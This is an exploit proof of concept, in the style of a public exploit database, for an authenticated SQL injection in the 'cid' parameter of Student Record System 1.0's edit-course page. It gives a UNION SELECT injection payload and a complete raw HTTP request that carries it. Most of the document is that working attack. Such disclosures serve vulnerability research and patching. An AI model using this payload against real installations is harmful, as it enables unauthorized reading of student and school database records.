Student Record System 1.0 - 'cid' SQLi (Authenticated)

# Exploit Title: Student Record System 1.0 - 'cid' SQLi (Authenticated)
# Exploit Author: Mohd. Anees
# Contact: https://www.linkedin.com/in/aneessecure/
# Software Homepage: https://phpgurukul.com/student-record-system-php/
# Version : 1.0
# Tested on: windows 10 xammp | Kali linux
# Category: WebApp
# Google Dork: N/A
# Date: 22.02.2022
######## Description ########
#
# 
#  Authenticate and edit course section where cid parameter will appear and put your payload at there it'll work 
# 
#  http://localhost/schoolmanagement/schoolmanagement/pages/edit-course.php?cid=-7%27%20union%20select%201,2,3,4,5--+
#
######## Proof of Concept ########

========>>> REQUEST <<<=========

GET /schoolmanagement/pages/edit-course.php?cid=-7%27%20union%20select%201,2,3,4,5--+ HTTP/1.1
Host: localhost
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=m1s7h9jremg0vj7ipkgf9m05n1nt
Connection: close